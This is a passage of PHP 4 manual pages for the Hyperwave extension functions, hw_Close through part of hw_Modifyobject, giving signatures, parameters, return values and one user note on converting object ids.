hw_Connect
Hyperwave Functions
PHP Manual

hw_Close

(PHP 4)

hw_Close — Closes the Hyperwave connection

Description

bool hw_close ( int $connection )

Closes down the connection to a Hyperwave server.

Parameters

connection

The connection identifier.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
hw_ChildrenObj
hw_Connect
Hyperwave Functions


Opens a connection

hw_Close
hw_connection_info
Hyperwave Functions
PHP Manual

hw_Connect

(PHP 4)

hw_Connect — Opens a connection

Description

int hw_connect ( string $host , int $port [, string $username ], string $password )

Opens a connection to a Hyperwave server. You can have multiple connections open at once.

Parameters

host

The server host name.

port

The server port number.

username

The Hyperwave user name. If omitted, no identification with the server will be done. It is similar to identify as user anonymous.

password

The password for username. Keep in mind, that the password is not encrypted.

Return Values

Returns a connection index on success, or FALSE if the connection could not be made.

See Also

  • hw_pconnect() - Make a persistent database connection

User Contributed Notes

There are no user contributed notes for this page.
hw_Close
hw_connection_info
Hyperwave Functions


Prints information about the connection to Hyperwave server

hw_Connect
hw_cp
Hyperwave Functions
PHP Manual

hw_connection_info

(PHP 4)

hw_connection_info — Prints information about the connection to Hyperwave server

Description

void hw_connection_info ( int $link )

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
hw_Connect
hw_cp
Hyperwave Functions


Copies objects

hw_connection_info
hw_Deleteobject
Hyperwave Functions
PHP Manual

hw_cp

(PHP 4)

hw_cp — Copies objects

Description

int hw_cp ( int $connection , array $object_id_array , int $destination_id )

Copies the objects with object ids as specified in the second parameter to the collection with the id destination id.

Parameters

connection

The connection identifier.

object_id_array

An array of object ids.

destination_id

The target collection id.

Return Values

Returns the number of copied objects.

See Also

  • hw_mv() - Moves objects

User Contributed Notes

There are no user contributed notes for this page.
hw_connection_info
hw_Deleteobject
Hyperwave Functions


Deletes object

hw_cp
hw_DocByAnchor
Hyperwave Functions
PHP Manual

hw_Deleteobject

(PHP 4)

hw_Deleteobject — Deletes object

Description

bool hw_deleteobject ( int $connection , int $object_to_delete )

Deletes the object with the given object id in the second parameter. It will delete all instances of the object.

Parameters

connection

The connection identifier.

object_to_delete

The object identifier.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hw_mv() - Moves objects

User Contributed Notes

There are no user contributed notes for this page.
hw_cp
hw_DocByAnchor
Hyperwave Functions


Object id object belonging to anchor

hw_Deleteobject
hw_DocByAnchorObj
Hyperwave Functions
PHP Manual

hw_DocByAnchor

(PHP 4)

hw_DocByAnchor — Object id object belonging to anchor

Description

int hw_docbyanchor ( int $connection , int $anchorID )

Returns an th object id of the document to which anchorID belongs.

Parameters

connection

The connection identifier.

anchorID

The anchor identifier.

Return Values

Returns the document object id.

User Contributed Notes

There are no user contributed notes for this page.
hw_Deleteobject
hw_DocByAnchorObj
Hyperwave Functions


Object record object belonging to anchor

hw_DocByAnchor
hw_Document_Attributes
Hyperwave Functions
PHP Manual

hw_DocByAnchorObj

(PHP 4)

hw_DocByAnchorObj — Object record object belonging to anchor

Description

string hw_docbyanchorobj ( int $connection , int $anchorID )

Returns an th object record of the document to which anchorID belongs.

Parameters

connection

The connection identifier.

anchorID

The anchor identifier.

Return Values

Returns an object record.

User Contributed Notes

There are no user contributed notes for this page.
hw_DocByAnchor
hw_Document_Attributes
Hyperwave Functions


Object record of hw_document

hw_DocByAnchorObj
hw_Document_BodyTag
Hyperwave Functions
PHP Manual

hw_Document_Attributes

(PHP 4)

hw_Document_Attributes — Object record of hw_document

Description

string hw_document_attributes ( int $hw_document )

Returns the object record of the document.

For backward compatibility, hw_documentattributes() is also accepted. This is deprecated, however.

Parameters

hw_document

The document identifier.

Return Values

Returns the object record of the document.

See Also

  • hw_document_bodytag() - Body tag of hw_document
  • hw_document_size() - Size of hw_document

User Contributed Notes

There are no user contributed notes for this page.
hw_DocByAnchorObj
hw_Document_BodyTag
Hyperwave Functions


Body tag of hw_document

hw_Document_Attributes
hw_Document_Content
Hyperwave Functions
PHP Manual

hw_Document_BodyTag

(PHP 4)

hw_Document_BodyTag — Body tag of hw_document

Description

string hw_document_bodytag ( int $hw_document [, string $prefix ] )

Returns the BODY tag of the document. If the document is an HTML document the BODY tag should be printed before the document.

For backward compatibility, hw_documentbodytag() is also accepted. This is deprecated, however.

Parameters

hw_document

The document identifier.

prefix

Return Values

Returns the BODY tag as a string.

See Also

  • hw_document_attributes() - Object record of hw_document
  • hw_document_size() - Size of hw_document

User Contributed Notes

There are no user contributed notes for this page.
hw_Document_Attributes
hw_Document_Content
Hyperwave Functions


Returns content of hw_document

hw_Document_BodyTag
hw_Document_SetContent
Hyperwave Functions
PHP Manual

hw_Document_Content

(PHP 4)

hw_Document_Content — Returns content of hw_document

Description

string hw_document_content ( int $hw_document )

Gets the content of the document.

Parameters

hw_document

The document identifier.

Return Values

Returns the content of the document. If the document is an HTML document the content is everything after the BODY tag. Information from the HEAD and BODY tag is in the stored in the object record.

See Also

  • hw_document_attributes() - Object record of hw_document
  • hw_document_size() - Size of hw_document
  • hw_document_setcontent() - Sets/replaces content of hw_document

User Contributed Notes

There are no user contributed notes for this page.
hw_Document_BodyTag
hw_Document_SetContent
Hyperwave Functions


Sets/replaces content of hw_document

hw_Document_Content
hw_Document_Size
Hyperwave Functions
PHP Manual

hw_Document_SetContent

(PHP 4)

hw_Document_SetContent — Sets/replaces content of hw_document

Description

bool hw_document_setcontent ( int $hw_document , string $content )

Sets or replaces the content of the document. If the document is an HTML document the content is everything after the BODY tag. Information from the HEAD and BODY tag is in the stored in the object record. If you provide this information in the content of the document too, the Hyperwave server will change the object record accordingly when the document is inserted. Probably not a very good idea. If this functions fails the document will retain its old content.

Parameters

hw_document

The document identifier.

content

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hw_document_attributes() - Object record of hw_document
  • hw_document_size() - Size of hw_document
  • hw_document_content() - Returns content of hw_document

User Contributed Notes

There are no user contributed notes for this page.
hw_Document_Content
hw_Document_Size
Hyperwave Functions


Size of hw_document

hw_Document_SetContent
hw_dummy
Hyperwave Functions
PHP Manual

hw_Document_Size

(PHP 4)

hw_Document_Size — Size of hw_document

Description

int hw_document_size ( int $hw_document )

Gets the size of the document.

For backward compatibility, hw_documentsize() is also accepted. This is deprecated, however.

Parameters

hw_document

The document identifier.

Return Values

Returns the size in bytes of the document.

See Also

  • hw_document_attributes() - Object record of hw_document
  • hw_document_bodytag() - Body tag of hw_document

User Contributed Notes

There are no user contributed notes for this page.
hw_Document_SetContent
hw_dummy
Hyperwave Functions


Hyperwave dummy function

hw_Document_Size
hw_EditText
Hyperwave Functions
PHP Manual

hw_dummy

(PHP 4)

hw_dummy — Hyperwave dummy function

Description

string hw_dummy ( int $link , int $id , int $msgid )

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
hw_Document_Size
hw_EditText
Hyperwave Functions


Retrieve text document

hw_dummy
hw_Error
Hyperwave Functions
PHP Manual

hw_EditText

(PHP 4)

hw_EditText — Retrieve text document

Description

bool hw_edittext ( int $connection , int $hw_document )

Uploads the text document to the server. The object record of the document may not be modified while the document is edited.

This function will only works for pure text documents. It will not open a special data connection and therefore blocks the control connection during the transfer.

Parameters

connection

The connection identifier.

hw_document

The document identifier.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hw_pipedocument() - Retrieve any document
  • hw_free_document() - Frees hw_document
  • hw_document_bodytag() - Body tag of hw_document
  • hw_document_size() - Size of hw_document
  • hw_output_document() - Prints hw_document
  • hw_gettext() - Retrieve text document

User Contributed Notes

There are no user contributed notes for this page.
hw_dummy
hw_Error
Hyperwave Functions


Error number

hw_EditText
hw_ErrorMsg
Hyperwave Functions
PHP Manual

hw_Error

(PHP 4)

hw_Error — Error number

Description

int hw_error ( int $connection )

Returns the last error number, for the last command.

Parameters

connection

The connection identifier.

Return Values

Returns the last error number or 0 if no error occurred.

See Also

  • hw_errormsg() - Returns error message

User Contributed Notes

There are no user contributed notes for this page.
hw_EditText
hw_ErrorMsg
Hyperwave Functions


Returns error message

hw_Error
hw_Free_Document
Hyperwave Functions
PHP Manual

hw_ErrorMsg

(PHP 4)

hw_ErrorMsg — Returns error message

Description

string hw_errormsg ( int $connection )

Returns a string containing the last error message related to the last command.

Parameters

connection

The connection identifier.

Return Values

Returns a string containing the last error message or 'No Error'. If FALSE is returned, this function failed.

See Also

  • hw_error() - Error number

User Contributed Notes

There are no user contributed notes for this page.
hw_Error
hw_Free_Document
Hyperwave Functions


Frees hw_document

hw_ErrorMsg
hw_GetAnchors
Hyperwave Functions
PHP Manual

hw_Free_Document

(PHP 4)

hw_Free_Document — Frees hw_document

Description

bool hw_free_document ( int $hw_document )

Frees the memory occupied by the Hyperwave document.

Parameters

hw_document

The document identifier.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
hw_ErrorMsg
hw_GetAnchors
Hyperwave Functions


Object ids of anchors of document

hw_Free_Document
hw_GetAnchorsObj
Hyperwave Functions
PHP Manual

hw_GetAnchors

(PHP 4)

hw_GetAnchors — Object ids of anchors of document

Description

array hw_getanchors ( int $connection , int $objectID )

Returns an array of object ids with anchors of the specified document.

Parameters

connection

The connection identifier.

objectID

The document object id.

Return Values

Returns an array of object ids.

User Contributed Notes

There are no user contributed notes for this page.
hw_Free_Document
hw_GetAnchorsObj
Hyperwave Functions


Object records of anchors of document

hw_GetAnchors
hw_GetAndLock
Hyperwave Functions
PHP Manual

hw_GetAnchorsObj

(PHP 4)

hw_GetAnchorsObj — Object records of anchors of document

Description

array hw_getanchorsobj ( int $connection , int $objectID )

Returns records with anchors of the document with object ID objectID.

Parameters

connection

The connection identifier.

objectID

The object identifier.

Return Values

Returns an array of object records.

User Contributed Notes

There are no user contributed notes for this page.
hw_GetAnchors
hw_GetAndLock
Hyperwave Functions


Return object record and lock object

hw_GetAnchorsObj
hw_GetChildColl
Hyperwave Functions
PHP Manual

hw_GetAndLock

(PHP 4)

hw_GetAndLock — Return object record and lock object

Description

string hw_getandlock ( int $connection , int $objectID )

Returns the object record for the object with ID objectID. It will also lock the object, so other users cannot access it until it is unlocked.

Parameters

connection

The connection identifier.

objectID

The object identifier.

Return Values

Returns the object record for the object with ID objectID.

See Also

  • hw_unlock() - Unlock object
  • hw_getobject() - Object record

User Contributed Notes

There are no user contributed notes for this page.
hw_GetAnchorsObj
hw_GetChildColl
Hyperwave Functions


Object ids of child collections

hw_GetAndLock
hw_GetChildCollObj
Hyperwave Functions
PHP Manual

hw_GetChildColl

(PHP 4)

hw_GetChildColl — Object ids of child collections

Description

array hw_getchildcoll ( int $connection , int $objectID )

Returns object ids. Each object ID belongs to a child collection of the collection with ID objectID. The function will not return child documents.

Parameters

connection

The connection identifier.

objectID

The object identifier.

Return Values

Returns an array of object ids.

See Also

  • hw_children() - Object ids of children
  • hw_getchilddoccoll() - Object ids of child documents of collection

User Contributed Notes

There are no user contributed notes for this page.
hw_GetAndLock
hw_GetChildCollObj
Hyperwave Functions


Object records of child collections

hw_GetChildColl
hw_GetChildDocColl
Hyperwave Functions
PHP Manual

hw_GetChildCollObj

(PHP 4)

hw_GetChildCollObj — Object records of child collections

Description

array hw_getchildcollobj ( int $connection , int $objectID )

Returns object records. Each object records belongs to a child collection of the collection with ID objectID. The function will not return child documents.

Parameters

connection

The connection identifier.

objectID

The object identifier.

Return Values

Returns an array of object records.

See Also

  • hw_childrenobj() - Object records of children
  • hw_getchilddoccollobj() - Object records of child documents of collection

User Contributed Notes

There are no user contributed notes for this page.
hw_GetChildColl
hw_GetChildDocColl
Hyperwave Functions


Object ids of child documents of collection

hw_GetChildCollObj
hw_GetChildDocCollObj
Hyperwave Functions
PHP Manual

hw_GetChildDocColl

(PHP 4)

hw_GetChildDocColl — Object ids of child documents of collection

Description

array hw_getchilddoccoll ( int $connection , int $objectID )

Returns array of object ids for child documents of a collection.

Parameters

connection

The connection identifier.

objectID

The object identifier.

Return Values

Returns an array of object ids.

See Also

  • hw_children() - Object ids of children
  • hw_getchildcoll() - Object ids of child collections

User Contributed Notes

There are no user contributed notes for this page.
hw_GetChildCollObj
hw_GetChildDocCollObj
Hyperwave Functions


Object records of child documents of collection

hw_GetChildDocColl
hw_GetObject
Hyperwave Functions
PHP Manual

hw_GetChildDocCollObj

(PHP 4)

hw_GetChildDocCollObj — Object records of child documents of collection

Description

array hw_getchilddoccollobj ( int $connection , int $objectID )

Returns an array of object records for child documents of a collection.

Parameters

connection

The connection identifier.

objectID

The object identifier.

Return Values

Returns an array of object records.

See Also

  • hw_childrenobj() - Object records of children
  • hw_getchildcollobj() - Object records of child collections

User Contributed Notes

There are no user contributed notes for this page.
hw_GetChildDocColl
hw_GetObject
Hyperwave Functions


Object record

hw_GetChildDocCollObj
hw_GetObjectByQuery
Hyperwave Functions
PHP Manual

hw_GetObject

(PHP 4)

hw_GetObject — Object record

Description

mixed hw_getobject ( int $connection , mixed $objectID [, string $query ] )

Gets an object record. If the second parameter is an array of integer the function will

Parameters

connection

The connection identifier.

objectID

The object identifier, or an array of identifiers.

query

The query string has the following syntax:

<expr> ::= "(" <expr> ")" |
           "!" &lt;expr> |          /* NOT */
           <expr> "||" <expr> |  /* OR */
           <expr> "&amp;&amp;" <expr> |  /* AND */
           <attribute> <operator> <value>

<attribute> ::= /* any attribute name (Title, Author, DocumentType ...) */

<operator> ::= "=" |    /* equal */
               "<" |    /* less than (string compare) */
               ">" |    /* greater than (string compare) */
               "~"      /* regular expression matching */
The query allows to further select certain objects from the list of given objects. Unlike the other query functions, this query may use not indexed attributes. How many object records are returned depends on the query and if access to the object is allowed.

Return Values

Returns the object record for the given object ID if the second parameter is an integer.

If the second parameter is an array of integer the function will return an array of object records. In such a case the last parameter is also evaluated which is a query string.

See Also

  • hw_getandlock() - Return object record and lock object
  • hw_getobjectbyquery() - Search object

User Contributed Notes

oswald at videofreak dot at 25-Jan-2002 08:31
There is a problem with the ObcectIds as used in Hyperwave ( like 0x232123).The automatic type conversion makes a variable like this a string, and you get nothin. Even the explicit conversion (like intval (0x232123)) leads to nonsense: You need to convert a hyperwave hexdec-Oid as follows:
 intval(hexdec(Oid));
then you get results :-)
hw_GetChildDocCollObj
hw_GetObjectByQuery
Hyperwave Functions


Search object

hw_GetObject
hw_GetObjectByQueryColl
Hyperwave Functions
PHP Manual

hw_GetObjectByQuery

(PHP 4)

hw_GetObjectByQuery — Search object

Description

array hw_getobjectbyquery ( int $connection , string $query , int $max_hits )

Searches for objects on the whole server and returns an array of object ids.

Parameters

connection

The connection identifier.

query

The query will only work with indexed attributes.

max_hits

The maximum number of matches is limited to max_hits. If max_hits is set to -1 the maximum number of matches is unlimited.

Return Values

Returns an array of object ids.

See Also

  • hw_getobjectbyqueryobj() - Search object

User Contributed Notes

There are no user contributed notes for this page.
hw_GetObject
hw_GetObjectByQueryColl
Hyperwave Functions


Search object in collection

hw_GetObjectByQuery
hw_GetObjectByQueryCollObj
Hyperwave Functions
PHP Manual

hw_GetObjectByQueryColl

(PHP 4)

hw_GetObjectByQueryColl — Search object in collection

Description

array hw_getobjectbyquerycoll ( int $connection , int $objectID , string $query , int $max_hits )

Searches for objects in collection with ID objectID and returns an array of object ids.

Parameters

connection

The connection identifier.

objectID

The collection id.

query

The query will only work with indexed attributes.

max_hits

The maximum number of matches is limited to max_hits. If max_hits is set to -1 the maximum number of matches is unlimited.

Return Values

Returns an array of object ids.

See Also

  • hw_getobjectbyquerycollobj() - Search object in collection

User Contributed Notes

There are no user contributed notes for this page.
hw_GetObjectByQuery
hw_GetObjectByQueryCollObj
Hyperwave Functions


Search object in collection

hw_GetObjectByQueryColl
hw_GetObjectByQueryObj
Hyperwave Functions
PHP Manual

hw_GetObjectByQueryCollObj

(PHP 4)

hw_GetObjectByQueryCollObj — Search object in collection

Description

array hw_getobjectbyquerycollobj ( int $connection , int $objectID , string $query , int $max_hits )

Searches for objects in collection with ID objectID and returns an array of object records.

Parameters

connection

The connection identifier.

objectID

The collection id.

query

The query will only work with indexed attributes.

max_hits

The maximum number of matches is limited to max_hits. If max_hits is set to -1 the maximum number of matches is unlimited.

Return Values

Returns an array of object records.

See Also

  • hw_getobjectbyquerycoll() - Search object in collection

User Contributed Notes

There are no user contributed notes for this page.
hw_GetObjectByQueryColl
hw_GetObjectByQueryObj
Hyperwave Functions


Search object

hw_GetObjectByQueryCollObj
hw_GetParents
Hyperwave Functions
PHP Manual

hw_GetObjectByQueryObj

(PHP 4)

hw_GetObjectByQueryObj — Search object

Description

array hw_getobjectbyqueryobj ( int $connection , string $query , int $max_hits )

Searches for objects on the whole server and returns an array of object records.

Parameters

connection

The connection identifier.

query

The query will only work with indexed attributes.

max_hits

The maximum number of matches is limited to max_hits. If max_hits is set to -1 the maximum number of matches is unlimited.

Return Values

Returns an array of object records.

See Also

  • hw_getobjectbyquery() - Search object

User Contributed Notes

There are no user contributed notes for this page.
hw_GetObjectByQueryCollObj
hw_GetParents
Hyperwave Functions


Object ids of parents

hw_GetObjectByQueryObj
hw_GetParentsObj
Hyperwave Functions
PHP Manual

hw_GetParents

(PHP 4)

hw_GetParents — Object ids of parents

Description

array hw_getparents ( int $connection , int $objectID )

Returns the object identifiers of the parents of an object.

Parameters

connection

The connection identifier.

objectID

The object identifier.

Return Values

Returns an indexed array of object ids. Each object id belongs to a parent of the object with ID objectID.

User Contributed Notes

There are no user contributed notes for this page.
hw_GetObjectByQueryObj
hw_GetParentsObj
Hyperwave Functions


Object records of parents

hw_GetParents
hw_getrellink
Hyperwave Functions
PHP Manual

hw_GetParentsObj

(PHP 4)

hw_GetParentsObj — Object records of parents

Description

array hw_getparentsobj ( int $connection , int $objectID )

Returns object records and statistical information about the object records. Each object record belongs to a parent of the object with ID objectID.

Parameters

connection

The connection identifier.

objectID

The object identifier.

Return Values

Returns an indexed array of object records plus an associated array with statistical information about the object records. The associated array is the last entry of the returned array.

User Contributed Notes

There are no user contributed notes for this page.
hw_GetParents
hw_getrellink
Hyperwave Functions


Get link from source to dest relative to rootid

hw_GetParentsObj
hw_GetRemote
Hyperwave Functions
PHP Manual

hw_getrellink

(PHP 4)

hw_getrellink — Get link from source to dest relative to rootid

Description

string hw_getrellink ( int $link , int $rootid , int $sourceid , int $destid )

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
hw_GetParentsObj
hw_GetRemote
Hyperwave Functions


Gets a remote document

hw_getrellink
hw_getremotechildren
Hyperwave Functions
PHP Manual

hw_GetRemote

(PHP 4)

hw_GetRemote — Gets a remote document

Description

int hw_getremote ( int $connection , int $objectID )

Gets a remote document.

Remote documents in Hyperwave notation are documents retrieved from an external source. Common remote documents are for example external web pages or queries in a database.

In order to be able to access external sources through remote documents Hyperwave introduces the HGI (Hyperwave Gateway Interface) which is similar to the CGI. Currently, only ftp, http-servers and some databases can be accessed by the HGI.

Calling hw_getremote() returns the document from the external source. If you want to use this function you should be very familiar with HGIs. You should also consider to use PHP instead of Hyperwave to access external sources. Adding database support by a Hyperwave gateway should be more difficult than doing it in PHP.

Parameters

connection

The connection identifier.

objectID

The object identifier.

Return Values

Returns a remote document.

See Also

  • hw_getremotechildren() - Gets children of remote document

User Contributed Notes

There are no user contributed notes for this page.
hw_getrellink
hw_getremotechildren
Hyperwave Functions


Gets children of remote document

hw_GetRemote
hw_GetSrcByDestObj
Hyperwave Functions
PHP Manual

hw_getremotechildren

(PHP 4)

hw_getremotechildren — Gets children of remote document

Description

mixed hw_getremotechildren ( int $connection , string $object_record )

Returns the children of a remote document. Children of a remote document are remote documents itself. This makes sense if a database query has to be narrowed and is explained in Hyperwave Programmers' Guide.

If you want to use this function you should be very familiar with HGIs. You should also consider to use PHP instead of Hyperwave to access external sources. Adding database support by a Hyperwave gateway should be more difficult than doing it in PHP.

Parameters

connection

The connection identifier.

object_record

The object record.

Return Values

If the number of children is 1 the function will return the document itself formatted by the Hyperwave Gateway Interface (HGI). If the number of children is greater than 1 it will return an array of object record with each maybe the input value for another call to hw_getremotechildren(). Those object records are virtual and do not exist in the Hyperwave server, therefore they do not have a valid object ID. How exactly such an object record looks like is up to the HGI.

See Also

  • hw_getremote() - Gets a remote document

User Contributed Notes

There are no user contributed notes for this page.
hw_GetRemote
hw_GetSrcByDestObj
Hyperwave Functions


Returns anchors pointing at object

hw_getremotechildren
hw_GetText
Hyperwave Functions
PHP Manual

hw_GetSrcByDestObj

(PHP 4)

hw_GetSrcByDestObj — Returns anchors pointing at object

Description

array hw_getsrcbydestobj ( int $connection , int $objectID )

Gets the object records of all anchors pointing to the object with ID objectID.

Parameters

connection

The connection identifier.

objectID

The object identifier. The object can either be a document or an anchor of type destination.

Return Values

Returns an array of object records.

See Also

  • hw_getanchors() - Object ids of anchors of document

User Contributed Notes

There are no user contributed notes for this page.
hw_getremotechildren
hw_GetText
Hyperwave Functions


Retrieve text document

hw_GetSrcByDestObj
hw_getusername
Hyperwave Functions
PHP Manual

hw_GetText

(PHP 4)

hw_GetText — Retrieve text document

Description

int hw_gettext ( int $connection , int $objectID [, mixed $rootID/prefix ] )

Returns the document with object ID objectID. If the document has anchors which can be inserted, they will be inserted already.

This function will only work for pure text documents. It will not open a special data connection and therefore blocks the control connection during the transfer.

Parameters

connection

The connection identifier.

objectID

The object identifier.

rootID/prefix

The optional parameter rootID/prefix can be a string or an integer. If it is an integer it determines how links are inserted into the document. The default is 0 and will result in links that are constructed from the name of the link's destination object. This is useful for web applications. If a link points to an object with name 'internet_movie' the HTML link will be <A href="/internet_movie">. The actual location of the source and destination object in the document hierarchy is disregarded. You will have to set up your web browser, to rewrite that URL to for example '/my_script.php/internet_movie'. 'my_script.php' will have to evaluate $PATH_INFO and retrieve the document. All links will have the prefix '/my_script.php/'. If you do not want this you can set the optional parameter rootID/prefix to any prefix which is used instead. Is this case it has to be a string.

If rootID/prefix is an integer and unequal to 0 the link is constructed from all the names starting at the object with the id rootID/prefix separated by a slash relative to the current object.

If for example the above document 'internet_movie' is located at 'a-b-c-internet_movie' with '-' being the separator between hierarchy levels on the Hyperwave server and the source document is located at 'a-b-d-source' the resulting HTML link would be: <A HREF="../c/internet_movie">. This is useful if you want to download the whole server content onto disk and map the document hierarchy onto the file system.

Return Values

Returns the text document.

See Also

  • hw_pipedocument() - Retrieve any document
  • hw_free_document() - Frees hw_document
  • hw_document_bodytag() - Body tag of hw_document
  • hw_document_size() - Size of hw_document
  • hw_output_document() - Prints hw_document

User Contributed Notes

There are no user contributed notes for this page.
hw_GetSrcByDestObj
hw_getusername
Hyperwave Functions


Name of currently logged in user

hw_GetText
hw_Identify
Hyperwave Functions
PHP Manual

hw_getusername

(PHP 4)

hw_getusername — Name of currently logged in user

Description

string hw_getusername ( int $connection )

Returns the username of the connection.

Parameters

connection

The connection identifier.

Return Values

Returns the username as a string.

User Contributed Notes

There are no user contributed notes for this page.
hw_GetText
hw_Identify
Hyperwave Functions


Identifies as user

hw_getusername
hw_InCollections
Hyperwave Functions
PHP Manual

hw_Identify

(PHP 4)

hw_Identify — Identifies as user

Description

string hw_identify ( int $link , string $username , string $password )

Identifies as user with username and password. Identification is only valid for the current session. I do not think this function will be needed very often. In most cases it will be easier to identify with the opening of the connection.

Parameters

link

The connection identifier.

username

The username.

password

The password.

See Also

  • hw_connect() - Opens a connection

User Contributed Notes

There are no user contributed notes for this page.
hw_getusername
hw_InCollections
Hyperwave Functions


Check if object ids in collections

hw_Identify
hw_Info
Hyperwave Functions
PHP Manual

hw_InCollections

(PHP 4)

hw_InCollections — Check if object ids in collections

Description

array hw_incollections ( int $connection , array $object_id_array , array $collection_id_array , int $return_collections )

Checks whether a set of objects (documents or collections) specified by the object_id_array is part of the collections listed in collection_id_array.

Parameters

connection

The connection identifier.

object_id_array

An array of object ids.

collection_id_array

An array of collection ids.

return_collections

When set to 0, the subset of object ids that is part of the collections (i.e., the documents or collections that are children of one or more collections of collection ids or their subcollections, recursively) is returned as an array.

When set to 1, the set of collections that have one or more objects of this subset as children are returned as an array. This option allows a client to, e.g., highlight the part of the collection hierarchy that contains the matches of a previous query, in a graphical overview.

Return Values

Returns an array of object ids.

User Contributed Notes

There are no user contributed notes for this page.
hw_Identify
hw_Info
Hyperwave Functions


Info about connection

hw_InCollections
hw_InsColl
Hyperwave Functions
PHP Manual

hw_Info

(PHP 4)

hw_Info — Info about connection

Description

string hw_info ( int $connection )

Returns information about the current connection.

Parameters

connection

The connection identifier.

Return Values

The returned string has the following format: <Serverstring>, <Host>, <Port>, <Username>, <Port of Client>, <Byte swapping>

User Contributed Notes

There are no user contributed notes for this page.
hw_InCollections
hw_InsColl
Hyperwave Functions


Insert collection

hw_Info
hw_InsDoc
Hyperwave Functions
PHP Manual

hw_InsColl

(PHP 4)

hw_InsColl — Insert collection

Description

int hw_inscoll ( int $connection , int $objectID , array $object_array )

Inserts a new collection with attributes as in object_array into collection with object ID objectID.

Parameters

connection

The connection identifier.

objectID

object_array

Return Values

User Contributed Notes

There are no user contributed notes for this page.
hw_Info
hw_InsDoc
Hyperwave Functions


Insert document

hw_InsColl
hw_insertanchors
Hyperwave Functions
PHP Manual

hw_InsDoc

(PHP 4)

hw_InsDoc — Insert document

Description

int hw_insdoc ( resource $connection , int $parentID , string $object_record [, string $text ] )

Inserts a new document with attributes as in object_record into acollection.

If you want to insert a general document of any kind use hw_insertdocument() instead.

Parameters

connection

The connection identifier.

parentID

The collection id.

object_record

Object attributes.

text

If provided, this ascii text will be inserted too.

Return Values

See Also

  • hw_insertdocument() - Upload any document
  • hw_inscoll() - Insert collection

User Contributed Notes

There are no user contributed notes for this page.
hw_InsColl
hw_insertanchors
Hyperwave Functions


Inserts only anchors into text

hw_InsDoc
hw_InsertDocument
Hyperwave Functions
PHP Manual

hw_insertanchors

(PHP 4 >= 4.0.4)

hw_insertanchors — Inserts only anchors into text

Description

bool hw_insertanchors ( int $hwdoc , array $anchorecs , array $dest [, array $urlprefixes ] )

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
hw_InsDoc
hw_InsertDocument
Hyperwave Functions


Upload any document

hw_insertanchors
hw_InsertObject
Hyperwave Functions
PHP Manual

hw_InsertDocument

(PHP 4)

hw_InsertDocument — Upload any document

Description

int hw_insertdocument ( int $connection , int $parent_id , int $hw_document )

Uploads a document into the given collection.

The document has to be created before with hw_new_document(). Make sure that the object record of the new document contains at least the attributes: Type, DocumentType, Title and Name. Possibly you also want to set the MimeType.

Parameters

connection

The connection identifier.

parent_id

The collection identifier.

hw_document

The document identifier.

Return Values

The functions returns the object id of the new document or FALSE.

See Also

  • hw_pipedocument() - Retrieve any document

User Contributed Notes

There are no user contributed notes for this page.
hw_insertanchors
hw_InsertObject
Hyperwave Functions


Inserts an object record

hw_InsertDocument
hw_mapid
Hyperwave Functions
PHP Manual

hw_InsertObject

(PHP 4)

hw_InsertObject — Inserts an object record

Description

int hw_insertobject ( int $connection , string $object_rec , string $parameter )

Inserts an object into the server.

Note: If you want to insert an Anchor, the attribute Position has always been set either to a start/end value or to 'invisible'. Invisible positions are needed if the annotation has no corresponding link in the annotation text.

Parameters

connection

The connection identifier.

object_rec

The object can be any valid hyperwave object.

parameter

See the HG-CSP documentation for a detailed information on how the parameters have to be.

See Also

  • hw_pipedocument() - Retrieve any document
  • hw_insertdocument() - Upload any document
  • hw_insdoc() - Insert document
  • hw_inscoll() - Insert collection

User Contributed Notes

There are no user contributed notes for this page.
hw_InsertDocument
hw_mapid
Hyperwave Functions


Maps global id on virtual local id

hw_InsertObject
hw_Modifyobject
Hyperwave Functions
PHP Manual

hw_mapid

(PHP 4)

hw_mapid — Maps global id on virtual local id

Description

int hw_mapid ( int $connection , int $server_id , int $object_id )

Maps a global object id on any hyperwave server, even those you did not connect to with hw_connect(), onto a virtual object id.

This virtual object id can then be used as any other object id, e.g. to obtain the object record with hw_getobject().

Note: In order to use this function you will have to set the F_DISTRIBUTED flag, which can currently only be set at compile time in hg_comm.c. It is not set by default. Read the comment at the beginning of hg_comm.c

Parameters

connection

The connection identifier.

server_id

The server id is the first part of the global object id (GOid) of the object which is actually the IP number as an integer.

object_id

The object identifier.

Return Values

Returns the virtual object id.

User Contributed Notes

There are no user contributed notes for this page.
hw_InsertObject
hw_Modifyobject
Hyperwave Functions


Modifies object record

hw_mapid
hw_mv
Hyperwave Functions
PHP Manual

hw_Modifyobject

(PHP 4)

hw_Modifyobject — Modifies object record

Description

bool hw_modifyobject ( int $connection , int $object_to_change , array $remove , array $add [, int $mode ] )

This command allows to remove, add, or modify individual attributes of an object record. The object is specified by the Object ID object_to_change. In order to modify an attribute one will have to remove the old one and add a new one. hw_modifyobject() will always remove the attributes before it adds attributes unless the value of the attribute to remove is not a string or array.

The keys of both arrays are the attributes name. The value of each array element can either be an array, a string or anything else. If it is an array each attribute value is constructed by the key of each element plus a colon and the value of each element. If it is a string it is taken as the attribute value. An empty string will result in a complete removal of that attribute. If the value is neither a string nor an array but something else, e.g. an integer, no operation at all will be performed on the attribute. This is necessary if you want to add a completely new attribute not just a new value for an existing attribute. If the remove array contained an empty string for that attribute, the attribute would be tried to be removed which would fail since it doesn't exist. The following addition of a new value for that attribute would also fail. Setting the value for that attribute to e.g. 0 would not even try to remove it and the addition will work.

If you would like to change the attribute 'Name' with the current value 'books' into 'articles' you will have to create two arrays and call hw_modifyobject().

Example #1 modifying an attribute

<?php
       // $connect is an existing connection to the Hyperwave server
       // $objid is the ID of the object to modify
       $remarr = array("Name" => "books");
       $addarr = array("Name" => "articles");
       $hw_modifyobject($connect, $objid, $remarr, $addarr);
?>
In order to delete/add a name=value pair from/to the object record just pass the remove/add array and set the last/third parameter to an empty array. If the attribute is the first one with that name to add, set attribute value in the remove array to an integer.

